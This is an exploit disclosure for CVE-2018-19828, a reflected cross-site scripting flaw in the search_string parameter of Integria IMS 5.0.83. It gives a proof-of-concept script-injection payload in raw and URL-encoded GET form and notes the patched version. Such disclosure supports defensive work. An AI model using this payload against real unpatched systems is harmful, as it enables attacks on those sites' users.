Integria IMS 5.0.83 - 'search_string' Cross-Site Scripting

# Exploit Title: Integria IMS 5.0.83 - Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-12-18
# Google Dork: N/A
# Vendor: Artica ST
# Software Link: https://github.com/articaST/integriaims
# Affected Version: 5.0.83 and possibly before
# Patched Version: 5.0.84
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-19828
# References:
# https://hackpuntes.com/cve-2018-19828-integria-ims-5-0-83-cross-site-scripting-reflejado/
# https://github.com/articaST/integriaims/commit/25d810b1c8e138e4b47d5cd14b2cd9b564f19b1e

# 1. Technical Description:
# search_string parameter is vulnerable to Reflected Cross-Site Scripting (XSS) attacks
# through a GET request in index.php resource.
  
# 2. Proof Of Concept (PoC):
# On the main page, go to the search form and add the following payload 
# '><script>alert('PoC CVE-2018-19828')</script>

# 3. Payload
# http://[PATH]/index.php?search_string=%27%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-19828%27)%3C%2Fscript%3E